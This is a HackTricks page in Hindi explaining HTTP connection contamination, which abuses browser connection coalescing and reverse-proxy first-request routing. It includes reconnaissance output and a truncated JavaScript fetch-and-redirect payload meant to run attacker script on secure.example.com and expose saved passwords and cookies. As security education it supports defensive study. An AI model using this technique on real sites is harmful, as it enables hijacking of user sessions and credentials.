# HTTP Connection Contamination
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करना चाहिए? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जांच करें! * खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family) * प्राप्त करें [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**.
**इस पोस्ट की सामग्री ली गई है** [**https://portswigger.net/research/http-3-connection-contamination**](https://portswigger.net/research/http-3-connection-contamination)\*\*\*\* वेब ब्राउज़र [**HTTP connection coalescing**](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing) का उपयोग करते हैं, जिससे वे एक ही **HTTP/2+** **कनेक्शन** का उपयोग कर सकते हैं जो **अलग-अलग वेबसाइटों** के लिए जाने वाले अनुरोधों के लिए होता है, जो एक ही IP पते को निर्धारित करते हैं और जो होस्टनाम के लिए मान्य TLS प्रमाणपत्र का उपयोग करते हैं। **पहले अनुरोध रूटिंग** एक खतरनाक रिवर्स-प्रॉक्सी व्यवहार है जहां **प्रॉक्सी पहले अनुरोध का विश्लेषण करता है** ताकि वह यह निर्धारित कर सके कि उसे उसे किस बैक-एंड को रूट करना है, और फिर उसी कनेक्शन पर सभी **आगामी अनुरोधों** को **एक ही बैक-एंड** को भेजता है। **कनेक्शन कोलेसिंग और पहले अनुरोध रूटिंग मिलकर अच्छी तरह से काम नहीं करते हैं**। उदाहरण के लिए, सोचें secure.example.com और wordpress.example.com दोनों एक रिवर्स प्रॉक्सी के पीछे बैठे हैं जो \*.example.com के लिए मान्य प्रमाणपत्र का उपयोग करता है। ```shell-session $ nslookup wordpress.example.com 52.16.179.7 // reverse proxy that supports HTTP/2 and does first-request routing $ nslookup secure.example.com 52.16.179.7 // same reverse proxy $ openssl s_client -connect x.portswigger-labs.net:443 subject=/CN=*.example.com // wildcard TLS certificate ``` यदि ब्राउज़र **wordpress.example.com** पर एक **अनुरोध भेजने का प्रयास करता है** और इसके बाद **secure.example.com** को, तो ब्राउज़र कनेक्शन संग्रहण द्वारा **दोनों अनुरोधों को एक ही कनेक्शन पर भेजने के लिए मजबूर किया जाएगा**। पहले अनुरोध रूटिंग के कारण **secure.example.com पर किया गया अनुरोध गलती से WordPress बैक-एंड पर रूट हो जाएगा**। इसका मतलब है कि यदि आपको wordpress.example.com पर [XSS](https://portswigger.net/web-security/cross-site-scripting) मिलता है, तो आप इसका उपयोग secure.example.com को कमरे में ले जाने के लिए कर सकते हैं! ```javascript // create HTTP/2+ connection fetch('https://wordpress.example.com/', {credentials: 'include'}) // connection coalescing will force this down the same connection... // ...leading to the front-end misrouting it to WordPress // the browser thinks our injected JS is coming from secure.example.com // exposing saved passwords, cookies, etc. location='https://secure.example.com/plugin/x?q=